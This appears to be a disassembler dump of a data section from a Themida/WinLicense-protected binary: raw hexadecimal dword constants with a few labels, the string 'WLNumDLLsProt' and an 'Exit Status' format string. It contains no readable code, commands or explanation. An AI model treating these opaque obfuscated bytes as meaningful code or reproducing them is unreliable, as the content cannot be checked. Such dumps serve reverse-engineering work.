		dd 3B5AC18Bh, 5E0F74D0h, 0FF04C683h, 370A6D85h,	0FF6FE906h
		dd 895EFFFFh, 3705AD8Dh, 0E59D3106h, 8B063731h,	370A6D85h
		dd 0F18D8906h, 0D106370Ah, 605360E0h, 8B665B61h, 850361F7h
		dd 6370909h, 5E9h, 59D7100h, 0F62BBD5Fh, 15830Fh, 10E90000h
		dd 8000000h, 2FF44518h,	863B23E4h, 5F6EB957h, 9603326Ch
		dd 8E59529h, 0AD660637h, 2E0C1F5h, 549BD89h, 85030637h
		dd 6371359h, 5E9h, 4338EA00h, 0E9961D78h, 9, 17D114FEh
		dd 92D63AB2h, 8D29ADD0h, 6370181h, 24244C8Bh, 0FE9h, 1875FB00h
		dd 0B23D7B28h, 38562198h, 66BA04DFh, 24244403h,	5199D29h
		dd 95890637h, 63723CDh,	1C244489h, 12E960h, 0EC380000h
		dd 0A77A6C07h, 829B1C5Ch, 9C947189h, 0B41BB482h, 0BD899661h
		dd 6371BD5h, 91B589ACh,	0F5063722h, 8589C932h, 6372EC1h
		dd 9589C1FEh, 6372319h,	830FD0D0h, 92h,	0DA1BD89h, 0D0D00637h
		dd 84830Fh, 8A600000h, 1524B8EAh, 0F86114B6h, 820FD0D0h
		dd 72h,	0FD0D0F9h, 6982h, 0C9FEF500h, 0FFC6890Fh, 0F60FFFFh
		dd 0E88h, 9E900h, 46E40000h, 3D147A63h,	89D705E5h, 370BE5B5h
		dd 0BD896106h, 6372E31h, 0F920C483h, 0FC2444C7h, 0
		dd 5D9D8B60h, 0B5063711h, 1B86141h, 60000000h, 1C95BD89h
		dd 61F80637h, 2E2D8D01h, 8D8D0637h, 63772A7h, 2B459D09h
		dd 0E1FF0637h, 13759D89h, 85C60637h, 63722B9h, 0BD8B6000h
		dd 6372BA9h, 61C1BF0Fh,	858D8961h, 0C206371Ch, 5E90008h
		dd 16000000h, 0A1DE0F42h, 50525096h, 0F525052h,	0F585A31h
		dd 0F525031h, 5A585A31h, 0F310F58h, 684h, 0F525000h, 5A585A31h
		dd 52505058h, 13E9h, 60BFC800h,	9096E06Eh, 0D20BF481h
		dd 77F7221Ah, 88BB0665h, 5250310Fh, 8E0Fh, 310F0000h, 310F5250h
		dd 585A585Ah, 6096585Ah, 12E9h,	757F400h, 933C80D1h, 17526C7Fh
		dd 9DC7B63Dh, 0F5DAAA8Bh, 0C3B58961h, 0E9063740h, 7, 3FA352A0h
		dd 0E9DD6E47h, 0Dh, 4A82E201h, 82E8BF80h, 4AE2F908h, 0D38D89E0h
		dd 89063740h, 3707258Dh, 0ACB58D06h, 6006373Fh,	0B5292BB0h
		dd 6372179h, 0ABB26061h, 0AE9h,	0BCE09400h, 3324F922h
		dd 61E6CCBDh, 7E35858Dh, 0FFF5005Bh, 5E9D0h, 1CB70000h
		dd 60FA3424h, 2F8D8D2Bh, 8B660637h, 0F95E61DEh,	5E9C3h
		dd 0EF370000h, 8BEEE6D7h, 3740C3B5h, 459D8906h,	8B063709h
		dd 3740D38Dh, 0C850F06h, 0F000000h, 68Bh, 55B52900h, 2B06371Dh
		dd 6D8589C0h, 8B063718h, 0B3E9F8D9h, 1000000h, 371E8D95h
		dd 0E9263206h, 9, 0ACD5B84h, 4A3C0989h,	0F02B23Ah, 1381h
		dd 0D860F00h, 0E9000000h, 8, 644E7089h,	0F7EBF66h, 113D9D89h
		dd 54E90637h, 0F000000h, 187h, 0C232FC00h, 15880Fh, 10E90000h
		dd 44000000h, 0C475CF19h, 59B099EDh, 7F148C04h,	5949A27h
		dd 8A751D7Ah, 1A55B531h, 0CC8A0637h, 0E9C8D3FCh, 8, 0DEDAA05Ah
		dd 0CCFFDC86h, 0D1084235h, 0ED8D8998h, 0FE063718h, 619589CAh
		dd 0A063719h, 0AB850FD2h, 89FFFFFFh, 372AF185h,	66604B06h
		dd 7E90E181h, 49D8D89h,	46610637h, 0A69B589h, 0DB0B0637h
		dd 0FF4B850Fh, 860FFFFFh, 0Dh, 8E9h, 4C4EA800h,	0C1D1B63Fh
		dd 5D850153h, 0CF063729h, 0A5958960h, 8B063707h, 370509BDh
		dd 6106h, 1E559D89h, 637h, 1D158509h, 637h, 0FE9h, 11B28C00h
		dd 645F3632h, 0C370B4A1h, 0ECC70F21h, 8A0F0000h, 0Ch, 6830Fh
		dd 850F0000h, 0
		dd 3A14858Dh, 13E90637h, 4A000000h, 68EAB034h, 51419E34h
		dd 8F2EB188h, 0F6F79Bh,	8589E458h, 63719D1h, 0BD858DF9h
		dd 0E906373Eh, 10h, 0A155EE31h,	4E69447Bh, 88E767C3h, 2C563DF7h
		dd 22ED8589h, 14EB0637h, 4 dup(0)
		dd 8Bh,	4207858Dh, 85890637h, 63732D9h,	4151BD83h, 0F000637h
		dd 12284h, 0B985C600h, 56063722h, 9EF75068h, 240481CCh
		dd 78075E9h, 1B49B5FFh,	858D0637h, 6373A14h, 8589D0FFh
		dd 6374145h, 22B985C6h,	68560637h, 0AC96D91Eh, 4C243481h
		dd 0FF303E61h, 371B49B5h, 14858D06h, 0FF06373Ah, 498589D0h
		dd 6A063741h, 0F4876804h, 4818FADh, 521B7924h, 55858B70h
		dd 5063741h, 1F4h, 9002E0C1h, 6A9050h, 414995FFh, 85890637h
		dd 637414Dh, 0FFB8D88Bh, 0FFFFFFFFh, 3732D995h,	0FFC38B06h
		dd 3732D995h, 8DE906h
		db 2 dup(0)
word_540E56	dw 0BD83h		; DATA XREF: Themida_:0053FF28o
		dd 6374151h, 1850F00h, 0C3000000h, 4DBD8B57h, 0AB063741h
		dd 414D8583h, 5F040637h, 51BD83C3h, 63741h, 1850Fh, 60C30000h
		dd 414DAD83h, 8B040637h, 37414D9Dh, 0FC7B8306h,	1D850FFFh
		dd 68000000h, 0BC32C603h, 0FD240481h, 6A43CDB9h, 0FF33FF00h
		dd 37414595h, 0E9C36106h, 26h, 4E8h, 800000h, 448B5000h
		dd 8B0424h, 4244489h, 0FF006A58h, 4595FF33h, 83063741h
		dd 37414DADh, 0A8E90406h, 48FFFFFFh, 1ADE9h, 748B6000h
		dd 7C8B2424h, 0B2FC2824h, 46068A80h, 0BB470788h, 2, 850FD202h
		dd 5, 1246168Ah, 0E2830FD2h, 2FFFFFFh, 5850FD2h, 8A000000h
		dd 0D2124616h, 6A830Fh,	0C0330000h, 850FD202h, 5, 1246168Ah
		dd 2A830FD2h, 2000001h,	5850FD2h, 8A000000h, 0D2124616h
		dd 0D202C013h, 5850Fh, 168A0000h, 13D21246h, 0FD202C0h
		dd 585h, 46168A00h, 0C013D212h,	850FD202h, 5, 1246168Ah
		dd 0FC013D2h, 684h, 0F82B5700h,	885F078Ah, 2BB4707h, 0E9000000h
		dd 0FFFFFF70h, 1B8h, 0FD20200h,	585h, 46168A00h, 0C013D212h
		dd 850FD202h, 5, 1246168Ah, 0DE820FD2h,	2BFFFFFFh, 1BBC3h
		dd 850F0000h, 34h, 1B9h, 0FD20200h, 585h, 46168A00h, 0C913D212h
		dd 850FD202h, 5, 1246168Ah, 0DE820FD2h,	56FFFFFFh, 0F52BF78Bh
		dd 0E95EA4F3h, 0FFFFFF08h, 8E0C148h, 8B46068Ah,	1B9E8h
		dd 0D2020000h, 5850Fh, 168A0000h, 13D21246h, 0FD202C9h
		dd 585h, 46168A00h, 820FD212h, 0FFFFFFDEh, 7D003Dh, 22830F00h
		dd 3D000000h, 500h, 0E820Fh, 56410000h,	0F02BF78Bh, 0E95EA4F3h
		dd 0FFFFFEB4h, 0F7FF883h, 387h,	2C18300h, 2BF78B56h, 5EA4F3F0h
		dd 0FFFE9BE9h, 46068AFFh, 0E8C0C933h, 17840F01h, 83000000h
		dd 0E88B02D1h, 2BF78B56h, 5EA4F3F0h, 1BBh, 0FE76E900h
		dd 7C2BFFFFh, 7C892824h, 0C2611C24h, 29BA0008h,	0E9000009h
		dd 9D3h, 8BFFFE4Dh, 0D9089992h,	0EBE54A38h, 7CCA138Dh
		dd 0FB4E32CCh, 5C3DC36Ah, 0B0A56E7Ah, 95969E94h, 86FFD810h
		dd 0D104DB99h, 0B8B75D2Ah, 39CD019Ch, 982179C3h, 4837C91Ah
		dd 0E2A96F67h, 93949E94h, 86FFDB1Fh, 0CC1BDB83h, 0A6B74230h
		dd 2ED61F80h, 0FB4A77D7h, 4C20852Eh, 0B0E47E67h, 9381D095h
		dd 9FFFCD0Bh, 0CC1A9485h, 0B9423Eh, 63h	dup(0)
		dd 82FFFE4Dh, 0CA149598h, 0BBB75D30h, 2EDE1D97h, 0FD0B3ACFh
		dd 4B72D62Bh, 0E2EB6F71h, 928D9F87h, 9AAD9F1Ah,	0D0149599h
		dd 0A5FE0F38h, 29D60BC5h, 0EC5877DCh, 4437D139h, 9288003Ah
		dd 8F99958Dh, 9AFF931Bh, 0DF129799h, 0BFFE0F3Bh, 33CB14C5h
		dd 0F04677C3h, 5020CA27h, 0A6EB6B34h, 8F9D82C1h, 9BADDE0Ah
		dd 0CB1282D7h, 0B9E70F2Dh, 3DCB158Ah, 79C3h, 48h dup(0)
		dd 8CFFFE4Dh, 0D51E9A85h, 0B8B05D3Ah, 33D606C5h, 0F44377C2h
		dd 4C308539h, 0A4A56471h, 9896858Eh, 81AACD5Eh,	0D9139299h
		dd 0EBF9467Fh, 2ECC1D9Ch, 0E652248Eh, 73FC03Eh,	0AED5071Eh
		dd 998B9184h, 81AA9F52h, 0DA1C949Bh, 0EBE3467Fh, 31D60083h
		dd 0F84E3A8Eh, 92BD725h, 0E2E16475h, 888B9593h,	0CFABCD1Fh
		dd 0CC08948Eh, 0A4E55F7Fh, 31D80082h, 80h, 61h dup(0)
		dd 83B6F94Dh, 0D11EDB92h, 0BBE25D2Dh, 7DDD1791h, 0FD7F7780h
		dd 5972D623h, 0B0E26566h, 94D89D80h, 8DFFCC1Fh,	9E139E92h
		dd 0A2F94E32h, 3DD50795h, 0B54F32DAh, 936CB2Bh,	0A0FC6B79h
		dd 95F5FA84h, 0CFAC980Ah, 0DB1B959Eh, 0AFF25B3Ch, 7CC010C5h
		dd 0FC7D77CFh, 921D038h, 0A1A5787Bh, 979B9193h,	0CFF1DB1Bh
		dd 0CD1493A3h, 0A7FE497Fh, 33CE5280h, 0B55F70C0h, 4220CA3Dh
		dd 0BBEB6B34h, 998A9F8Ch, 50h, 0E0h dup(0)
aWlnumdllsprot	db 'WLNumDLLsProt',0
a0_0		db '0',0
		dd 8 dup(0)
		dd 78450000h, 53207469h, 75746174h, 203D2073h, 6425h, 0
		dd 0E9000000h, 2D4Bh, 53FCDA8Bh, 6840Fh, 0BD290000h, 6371BE5h
		dd 60C08B5Bh, 68B0Fh, 958B0000h, 6373209h, 29BD8361h, 63719h
		dd 0BD830975h, 6371FE1h, 50137400h, 0B8C08B53h,	1, 0AFAE9D8Dh
		dd 0D3FF0639h, 0BD83585Bh, 6371FE1h, 50117400h,	1B853h
		dd 9D8D0000h, 639AE5Fh,	585BD3FFh, 0A2D958Bh, 0EB800637h
		dd 8BC08B3Ch, 371C2595h, 61BD8306h, 63730h, 1C2840Fh, 9D230000h
		dd 6371C91h, 1C55BD83h,	0F000637h, 1AF84h, 0B3606000h
		dd 81BD0933h, 61063718h, 1E199D89h, 8B610637h, 6A60DEh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 905C3h, 6E956F5h, 0B6000000h, 513E71D3h, 858B5A6Fh
		dd 6371C55h, 0CE9h, 932ECD00h, 4F5CA8F1h, 0A2D59E60h, 5FE8AE7h
		dd 3E8h, 1B118D89h, 0B7900637h,	0DA8B500Fh, 9D8B6090h
		dd 6372AA5h, 7E9h, 0CFA16100h, 99F81D8Dh, 0B858D61h, 6A06374Eh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 24F0C357h, 8B505FB8h, 240489D9h, 1A8B0Fh
		dd 8B0F0000h, 14h, 0FE9h, 0AAF4FA00h, 0A3AD7E6Dh, 6DECDE80h
		dd 781477A0h, 4DE9858Dh, 6A0637h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 0A867EEC3h, 907663E2h
		dd 0FE95356h, 51000000h, 7D505AD3h, 7003D762h, 0FD2DF2F8h
		dd 5B5AF08Fh, 90DC8A50h, 1335B589h, 95FF0637h, 63707A9h
		dd 8FE28166h, 0CC48329h, 8DD1BF0Fh, 374DE985h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 907F9D93h, 6820F60h,	50000000h, 5A310F52h, 0B3EBBA58h
		dd 5061288Dh, 2800Fh, 0D18B0000h, 0D2815790h, 25EC8B35h
		dd 6A96B35Ah, 15953102h, 0FF063705h, 68857495h,	159D0B00h
		dd 6106371Eh, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 1Dh,	0F4C35646h, 5B7B5E67h, 99A0EF4Ah, 0D2B70FEDh, 4E1C85C7h
		dd 10637h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 0E91D04C3h, 52506050h, 8E0Fh, 310F0000h
		dd 7E9h, 91921100h, 0B69B70DCh,	0AE8585Ah, 87000000h, 2CF88AEDh
		dd 0C323AC8Dh, 5BD38BEAh, 24348961h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 0AC35747h, 5F85E282h, 29319531h
		dd 0B5890637h, 6374DCDh, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 16h, 0C1C35646h, 9D8BDCF2h, 6372635h, 89DBD83h
		dd 0F010637h, 2285h, 99C38000h,	0F05F883h, 1685h, 0CD9D8B00h
		dd 0B806371Ch, 0
		dd 1A0D9589h, 81660637h, 839543C2h, 371FD9BDh, 840F0006h
		dd 16h,	3850F56h, 0F000000h, 0B85BD7B7h, 0
aBUcdsJ		db 'ÃîçdS`j',0
		db 50h,	0E8h, 3
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 58CDC350h, 28E0Fh, 8AB70000h, 1171858Bh, 6A0637h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 6D8755C3h, 6EC09D9h,	1B71B529h, 0C0830637h, 9958B02h
		dd 89063733h, 374DC585h, 9D296006h, 6370CF1h, 176D9D8Bh
		dd 0C6610637h, 9D8BFF00h, 6372A79h, 22B985C6h, 6A530637h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 8967C355h, 725DB46Ch, 0BF0F45D1h,	0FA5568DBh
		dd 0D88BCC19h, 8D243481h, 8B30A8B2h, 372E6595h,	39B5FF06h
		dd 6A063723h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 0E9F7C355h, 11h, 5F0641EDh, 391406B4h
		dd 85A922CCh, 0E1A13BD4h, 0A858DF0h, 0FF063A72h, 0E5BD09D0h
		dd 89063721h, 37321985h, 44BA6606h, 19BD8360h, 1063733h
		dd 114850Fh, 0BA660000h, 6A615C96h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0B61DC351h
		dd 0C3B651E7h, 0FD8AC14Fh, 22B985C6h, 0F450637h, 0A89h
		dd 95896000h, 63713F5h,	0E8615A57h, 4, 0DA6038C2h, 5850Fh
		dd 0B3BA0000h, 507D6FBFh, 8BD68B66h, 0E9042444h, 0Eh, 0A3CB0D7Ch
		dd 28520F86h, 14978CD5h, 8B4858h, 2820F56h, 0B7000000h
		dd 44895B1Eh, 60570424h, 850Fh,	0D88B0000h, 23585A61h
		dd 3705E19Dh, 39B5FF06h, 6A063723h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 3AB2C351h
		dd 54D092D6h, 4820Fh, 0BA660000h, 95895141h, 637218Dh
		dd 720A858Dh, 6A063Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 0E9114C3h, 0FFD9BF0Fh, 5800FD0h
		dd 0BA000000h, 1C1BACE0h, 8D29006Ah, 6373361h, 1D85B589h
		dd 0D0FF0637h, 1B118D89h, 0BD830637h, 6372031h,	0A8850F01h
		dd 66000000h, 8B137FBBh, 37117185h, 5BE9F506h, 0F5000000h
		dd 89E9B350h, 958B2404h, 637100Dh, 9D8B146Ah, 63732F9h
		dd 321995FFh, 81660637h, 589E79EAh, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 5BC35343h, 67EB8EE8h, 9E81Fh
		dd 630000h, 24FFC44Fh, 0E9F838E9h, 5, 0CE65EF75h, 38805AF6h
		dd 9D850F00h, 9FFFFFFh,	370A51BDh, 100C606h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 48C35343h, 11377253h
		dd 0FF4659Dh, 0B58D3150h, 61063718h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 2BC35747h, 11E45583h, 4FCF938Ch
		dd 39BD891Dh, 0E8063701h, 0Bh, 0EB53CF47h, 95CCBAAAh, 51D197BFh
		dd 2AB9958Bh, 5A5B0637h, 2919BD83h, 0F000637h, 5084h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 0E9FF6A59h, 12h, 83FCB650h, 44F0FDF4h, 0F099AD4Ch, 19B938E0h
		dd 95FF90AAh, 6373219h,	5E9h, 0C542E400h, 0D2E9A2D8h, 89FFFFFFh
		dd 3700A185h, 1985C706h, 1063729h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 0A15DC352h, 11CAD7F3h, 119BE1BAh, 1131B501h,	85890637h
		dd 6374DD1h, 2A359D31h,	0B5290637h, 6370A81h, 24048950h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 8AC35040h
		dd 9D23AAFFh, 63721FDh,	6AF38A60h, 0F3816605h, 858D7D5Dh
		dd 6374DE9h, 6D75E3BBh,	0E5958B5Dh, 5006371Eh, 0AE8h, 562FB600h
		dd 0C2303E6Eh, 6631FDE7h, 5A4D9BBAh, 0E9240489h, 7, 7E6B9DE7h
		dd 8D308903h, 374DD985h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1B04h, 0C3524200h, 192DD69Fh, 64601586h
		dd 1CF9958Bh, 8D010637h, 6370A2Dh, 8E950h, 690F0000h, 618DCB97h
		dd 489CE9Ah, 0BAEE8024h, 2DAD95FFh, 8D8D0637h, 6377AE0h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0FDC35747h
		dd 0B6660DF9h, 19589BAh, 0E906371Fh, 14h, 0DF3A754Dh, 1BCB8596h
		dd 9BADA61Dh, 7BA9D0DDh, 2A467D8Ch, 1174C00Bh, 4DE9858Dh
		dd 0FF500637h, 78589D1h, 0EB06374Eh, 785C70Ah, 0FF06374Eh
		dd 29FFFFFFh, 37236585h, 61DF8B06h, 0EBE28166h,	0B985C675h
		dd 4D063722h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 17h,	46C35545h, 6854BFDCh, 8C0C3D24h, 0FE9h,	7DACA700h
		dd 0E2DF26h, 9B391D94h,	0D0E70C9h, 8C243481h, 8028394Bh
		dd 0B5FF98CFh, 637083Dh, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Bh, 0AFC35141h, 43502012h, 8D88F490h, 3A720A85h
		dd 85896006h, 6372EF5h,	0D0FF61F5h, 0FE8h, 0D08AB500h
		dd 2CAF95FCh, 0D68356FAh, 7BFBE029h, 12A9952Bh,	895A0637h
		dd 3718A585h, 85C6FC06h, 63722B9h, 51006A45h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 3122840Dh
		dd 0A43C2397h, 8529C287h, 6370D35h, 1FAD8D01h, 98680637h
		dd 0FC49CFAh, 681h, 61606000h, 8161B7B5h, 93F12434h, 6A4AEEh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 0BB6655C3h, 9D8B847Ah, 6370425h, 2339B5FFh, 8B600637h
		dd 3723D5BDh, 9E906h, 0C6BC0000h, 9EDBF0BAh, 61F7603Eh
		dd 720A858Dh, 800F063Ah, 6, 1771B509h, 0CB800637h, 6AD0FFC3h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 765DC357h, 0DD9D8BB8h, 89063713h,	37042D85h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1704h
		dd 0C3564600h, 0C2698E1h, 232D958Bh, 0F9530637h, 6AD28B5Bh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 7E18C355h, 666DEA80h, 5736D381h, 0F6D98C66h
		dd 840F04C1h, 28Fh, 0E852006Ah,	3, 5AC35A20h, 4245489h
		dd 4244481h, 15h, 7C35242h, 0E9DE8B89h,	0F4h, 8BD1BF0Fh
		dd 3706FDB5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1504h, 0C3574700h, 958B276Eh, 6371139h, 1180C681h, 2DB30000h
		dd 1B0DBD83h, 0F000637h, 1785h,	0ADBD0900h, 0E906370Ch
		dd 9Ch,	8B59D8Bh, 8D890637h, 6372D59h, 0F003E83h, 8784h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 89F373ABh, 55006A60h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 0D0E77FD4h
		dd 0A130B393h, 12E9h, 888EE700h, 2D36D024h, 8B1C2C79h
		dd 0D0CB9C6Bh, 6AB54477h, 25852914h, 0FF06370Fh, 37321995h
		dd 39958B06h, 6106372Bh, 0EE9h,	0ACC74F00h, 411E529Dh
		dd 32A1BAD1h, 0E9FCC626h, 0FFFFFF70h, 106C7h, 85890000h
		dd 6371E15h, 4DD1BD83h,	0F050637h, 16A85h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h
		dd 3ED15D0Dh, 2DB58BB1h, 8B063704h, 37117D95h, 64B906h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 0B34634C3h, 19E8FC95h, 2D0BBA66h,	0FE83E80h
		dd 5B84h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1A04h, 0C3534300h, 4D144A5Eh, 0E998CAECh, 0Eh, 6E2C83F4h
		dd 76BCF434h, 6F68EB99h, 5FE936E1h, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 0E89BC353h, 0DA8B66CEh, 0C2057E80h, 8C840Fh,	6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 9D5532C3h, 0BCEFD641h, 0BD8D8B60h, 66063725h, 61DFAABEh
		dd 1395B509h, 6A460637h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 0F7F9C352h,	0FDBC11F4h
		dd 9D8964C8h, 6370A05h,	2D850F49h, 6AFFFFFFh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
		dd 1C74C355h, 1EE9h, 0DA816600h, 0B589565Bh, 6372D89h
		dd 3840F60h, 66000000h,	8B57DF8Bh, 37227D9Dh, 58615906h
		dd 85BD83F9h, 63700h, 116840Fh,	95230000h, 6370009h, 56006A60h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 8B5C45F0h, 370FC195h, 0B985C606h, 54063722h,	226DB589h
		dd 7A680637h, 8BA4EBA2h, 240481D9h, 5A631C7Ah, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0F8C35646h, 0D258EE4Ah
		dd 0BB66A239h, 0B5FF4660h, 6372339h, 0B419509h,	858D0637h
		dd 63A720Ah, 0CE9h, 0E527B000h,	7134F1A7h, 25FFCB59h, 6AD0FFF5h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 17042444h
		dd 40000000h, 30FC350h,	9D8B9768h, 63711E1h, 952BD38Bh
		dd 63708B5h, 0CB80006Ah, 85B5FF82h, 6A063700h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 0B7ADC355h, 81D9B563h, 8B531F63h, 372A0995h,	8BD0FF06h
		dd 372F719Dh, 0AE906h, 28AD0000h, 1C6F536h, 0A24BBD00h
		dd 0BD096061h, 6372DDDh, 61D1B70Fh, 2D5585C7h, 10637h
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 5D9B2DC3h, 958B3A9Fh, 6371D1Dh, 2F418589h
		dd 0B2600637h, 68A0FE0h, 29000000h, 371919B5h, 8BD6806h
		dd 8B661F2Fh, 243481D9h, 1F2F083Dh, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 17C35545h, 9464A48Bh, 0C5858B60h
		dd 0BF063719h, 52D2AB0Dh, 0F8FF6A61h, 7CD95FFh,	8E90637h
		dd 0FD000000h, 0C8BCE695h, 61D50B2Dh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 0D2C35646h,	0F551492h, 0EAB790ABh
		dd 0DCBA6650h, 89609050h, 371CC5BDh, 0BF0F5306h, 8B6159DBh
		dd 371AC585h, 59BB6606h, 0FC00B63h, 3384h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h
		dd 3F57DC5Eh, 36F466EBh, 0D3D280D9h, 1C6595FFh,	9D230637h
		dd 6370799h, 9BD85C7h, 10637h, 66570000h, 835AD98Bh, 3712F1BDh
		dd 840F0006h, 24h, 174595FFh, 0F600637h, 481h, 26BB6600h
		dd 1ABB6652h, 0F526156h, 68Eh, 419D0B00h, 5B06371Ch, 2D95BD83h
		dd 0F000637h, 0F84h, 72CE8000h,	132D95FFh, 9D8B0637h, 63704D5h
		dd 1C31BD83h, 0F000637h, 3C84h,	11BD8900h, 83063719h, 372979BDh
		dd 850F0006h, 29h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 14h, 14C35040h, 1331B531h,	95FF0637h, 6371A45h
		dd 35BD83FCh, 6370Bh, 5B840Fh, 6A0000h,	3E857h,	5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0D35D07C3h
		dd 80119046h, 80577A7Ch, 858144E6h, 6371B41h, 4003h, 8123DF80h
		dd 372A0585h, 400306h, 55006A00h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 0E9310F21h, 10h, 0C81E3BDBh
		dd 0AD6AFC4Fh, 0B35EAF97h, 931E142Dh, 5DCB8D8Dh, 50500637h
		dd 895A5BF9h, 52006A01h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1804h, 0C3524200h, 0A05456D5h, 2FBA6654h, 81C233EBh
		dd 0F04DD1CBh, 441891Eh, 6E9h, 27DAFB00h, 0F09054Fh, 0D88D8D31h
		dd 6006375Dh, 6870FF5h,	89000000h, 372D7DB5h, 8E0F6106h
		dd 10h,	7E960h,	9F360000h, 4AB9BB5Dh, 61585115h, 5E90189h
		dd 1F000000h, 0FBD4C596h, 90CB8166h, 66C23315h,	4189DA8Bh
		dd 57006A04h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 143EEAB6h, 355C0E91h, 799D29EAh,	8B06371Ah
		dd 371D619Dh, 1BD8306h,	6371Ch,	10840Fh, 0BA660000h, 95FF31F1h
		dd 6372909h, 1429958Bh,	0BD830637h, 63708F9h, 9B850F01h
		dd 66000000h, 0D280DA8Bh, 90E932h, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 4C6852C3h
		dd 0F647691h, 683h, 8DBD8900h, 8B06372Fh, 375F02B5h, 6C706h
		dd 8B000000h, 375D00B5h, 6C706h, 0CF000000h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0AC35040h, 0A7A149DDh
		dd 2E789ECDh, 0D6BF0F90h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 16h, 1C35040h, 0BA66E192h,	0BD838DABh, 63709BDh
		dd 0C840F00h, 31000001h, 370961B5h, 0C59D8906h,	8306370Dh
		dd 371D91BDh, 850F0106h, 0E0h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 7DC35545h, 334212F1h, 81EE2C03h
		dd 0AE4BE7D2h, 8D8BF564h, 6374DC5h, 1C625B2h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 0D8FE40D4h, 89C940B5h, 3721A5BDh, 9D8B6006h,	6371305h
		dd 824568F5h, 0D08B3B5Fh, 0C5243481h, 893B5F82h, 372FFDB5h
		dd 8BFF6A06h, 3704159Dh, 0CD95FF06h, 0E9063707h, 5, 26100E9Dh
		dd 5BB661B4h, 12DD95FFh, 6A0637h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1C0424h, 51410000h, 0C73EEFC3h, 7291D055h
		dd 0BD29905Dh, 6371CC1h, 4DC58D8Bh, 800F0637h, 6, 1941958Bh
